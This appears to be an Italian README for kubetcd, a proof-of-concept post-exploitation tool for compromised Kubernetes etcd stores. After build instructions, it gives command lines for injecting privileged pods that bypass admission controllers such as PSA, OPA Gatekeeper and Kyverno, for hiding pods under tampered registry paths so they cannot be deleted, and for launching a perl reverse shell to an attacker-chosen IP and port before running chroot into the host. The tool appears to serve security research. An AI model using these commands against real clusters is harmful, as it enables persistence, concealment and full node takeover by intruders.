
Post-exploit di un etcd compromesso, ottenere persistenza e shell remota sui nodi.
Wrapper di https://github.com/jpbetz/auger.
Automatizza il deployment dei pod scrivendo direttamente in etcd. Include diverse funzioni per la post-esplorazione di etcd compromessi.
[!WARNING]
Questa è una PoC, non utilizzarla in un ambiente di produzione. Scrivere direttamente in etcd può causare inconsistenze o dati corrotti, che potrebbero impedire alla logica dikube-apiserverdi recuperare o manipolare i dati da etcd. Ambienti di test con più nodi possono essere distribuiti con KIND
Il repository principale, auger, fornisce le funzionalità principali per serializzare e deserializzare le entry protobuffer in etcd. Kubetcd è una PoC che avvolge queste funzionalità per avvicinare etcdctl al normale client kubectl. In uno scenario con un etcd compromesso, kubetcd cerca di utilizzare pod manipolati e privilegiati per ottenere persistenza e accesso privilegiato a uno o tutti gli host del cluster. Nota: kubetcd al momento supporta solo operazioni sui pod.
Kubetcd recupera i certificati e le chiavi per autenticarsi al servizio etcd dai seguenti percorsi predefiniti:
Inoltre, l'endpoint predefinito è impostato su 127.0.0.1:2379.
Tutti i valori predefiniti precedenti possono essere modificati tramite parametri.
Inoltre, deve essere installato etcdctl, il client per etcd.
sudo apt install etcd-client
Clona e compila:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
Potresti riscontrare il seguente errore:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
In tal caso, compila kubetcd con Golang 1.19.
Fai riferimento a https://github.com/jpbetz/auger per le funzionalità principali di auger, che rimangono ancora. Questo README descriverà solo le nuove funzionalità aggiunte dal wrapper:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName deve essere un pod in esecuzione nel namespace predefinito:
./kubetcd create pod <name> -t <templateName>
Puoi sovrascrivere un pod in esecuzione impostando gli stessi valori di name e templateName.
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
ETCD salva i nuovi pod in /registry/pods/<namespace>/<name>, ma i campi namespace e name possono essere alterati.
In questo modo, questi pod possono essere elencati con kubectl ma non eliminati.
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
Distribuisci il workload su qualsiasi nodo a piacimento:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
Distribuisci pod privilegiati in namespace ristretti. Questo consente di bypassare gli AdmissionControllers integrati come PSP, PSA o qualsiasi altra policy basata su policy personalizzate come OPA Gatekeer o Kyverno:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
Il flag -P imposta ogni pod come privileged e condivide i namespace network, PID e IPC con il nodo sottostante.
Distribuisci pod privilegiati in namespace ristretti e ottieni una shell remota:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
Questo avvierà una reverse shell perl, presente in molte immagini per impostazione predefinita.
Una volta ottenuta la reverse shell, cambia il filesystem root con chroot /host per ottenere accesso completo al nodo.
corev1